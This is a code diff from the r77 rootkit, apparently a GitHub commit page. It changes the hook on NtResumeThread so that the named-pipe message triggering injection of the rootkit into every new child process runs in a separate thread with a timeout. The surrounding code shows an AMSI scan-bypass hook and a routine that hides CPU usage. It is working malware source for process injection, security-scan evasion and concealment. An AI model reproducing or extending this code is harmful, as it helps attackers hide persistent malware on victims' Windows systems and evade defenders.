@@ -221,16 +221,27 @@ static NTSTATUS NTAPI HookedNtResumeThread(HANDLE thread, PULONG suspendCount)
221221		HANDLE  pipe  =  CreateFileW (CHILD_PROCESS_PIPE_NAME , GENERIC_READ  | GENERIC_WRITE , 0 , NULL , OPEN_EXISTING , 0 , NULL );
222222		if  (pipe  !=  INVALID_HANDLE_VALUE )
223223		{
224- 			// Send the process ID to the r77 service. 
225- 			DWORD   bytesWritten ;
226- 			WriteFile ( pipe ,  & processId ,  sizeof ( DWORD ),  & bytesWritten ,  NULL ) ;
224+ 			WRITE_CHILD_PROCESS_PIPET_HREAD_PARAMETERS   parameters ; 
225+ 			parameters . PipeHandle   =   pipe ;
226+ 			parameters . ProcessId   =   processId ;
227227
228- 			// Wait for the response. NtResumeThread should be called after r77 is injected. 
229- 			BYTE  returnValue ;
230- 			DWORD  bytesRead ;
231- 			ReadFile (pipe , & returnValue , sizeof (BYTE ), & bytesRead , NULL );
228+ 			// In some cases, the WriteFile call to the named pipe hangs indefinitely. 
229+ 			// This bug was introduced after injecting the r77 service into winlogon, rather than in a hollowed process. 
232230
233- 			CloseHandle (pipe );
231+ 			// Therefore, we must execute this write operation in a separate thread. 
232+ 			// If this thread does not return within a given amount of time, we must assume that it failed, 
233+ 			// and just continue process initialization. The periodic process injection will catch this process 
234+ 			// within less than 100ms. 
235+ 
236+ 			HANDLE  thread  =  CreateThread (NULL , 0 , WriteChildProcessPipeThread , & parameters , 0 , NULL );
237+ 			if  (thread )
238+ 			{
239+ 				if  (WaitForSingleObject (thread , 500 ) !=  WAIT_OBJECT_0 )
240+ 				{
241+ 					// WriteFile got stuck. 
242+ 					TerminateThread (thread , 0 );
243+ 				}
244+ 			}
234245		}
235246	}
236247
@@ -639,6 +650,22 @@ static HRESULT WINAPI HookedAmsiScanBuffer(LPVOID amsiContext, LPVOID buffer, UL
639650	return  0x80070057 ;
640651}
641652
653+ static  DWORD  WINAPI  WriteChildProcessPipeThread (LPVOID  parameter )
654+ {
655+ 	HANDLE  pipe  =  ((PWRITE_CHILD_PROCESS_PIPET_HREAD_PARAMETERS )parameter )-> PipeHandle ;
656+ 	DWORD  processId  =  ((PWRITE_CHILD_PROCESS_PIPET_HREAD_PARAMETERS )parameter )-> ProcessId ;
657+ 
658+ 	// Send the process ID to the r77 service. 
659+ 	DWORD  bytesWritten ;
660+ 	WriteFile (pipe , & processId , sizeof (DWORD ), & bytesWritten , NULL );
661+ 
662+ 	// Wait for the response. NtResumeThread should be called after r77 is injected. 
663+ 	BYTE  returnValue ;
664+ 	DWORD  bytesRead ;
665+ 	ReadFile (pipe , & returnValue , sizeof (BYTE ), & bytesRead , NULL );
666+ 
667+ 	CloseHandle (pipe );
668+ }
642669static  BOOL  GetProcessHiddenTimes (PLARGE_INTEGER  hiddenKernelTime , PLARGE_INTEGER  hiddenUserTime , PLONGLONG  hiddenCycleTime )
643670{
644671	// Count hidden CPU usage explicitly instead of waiting for a call to NtQuerySystemInformation(SystemProcessInformation). 
0 commit comments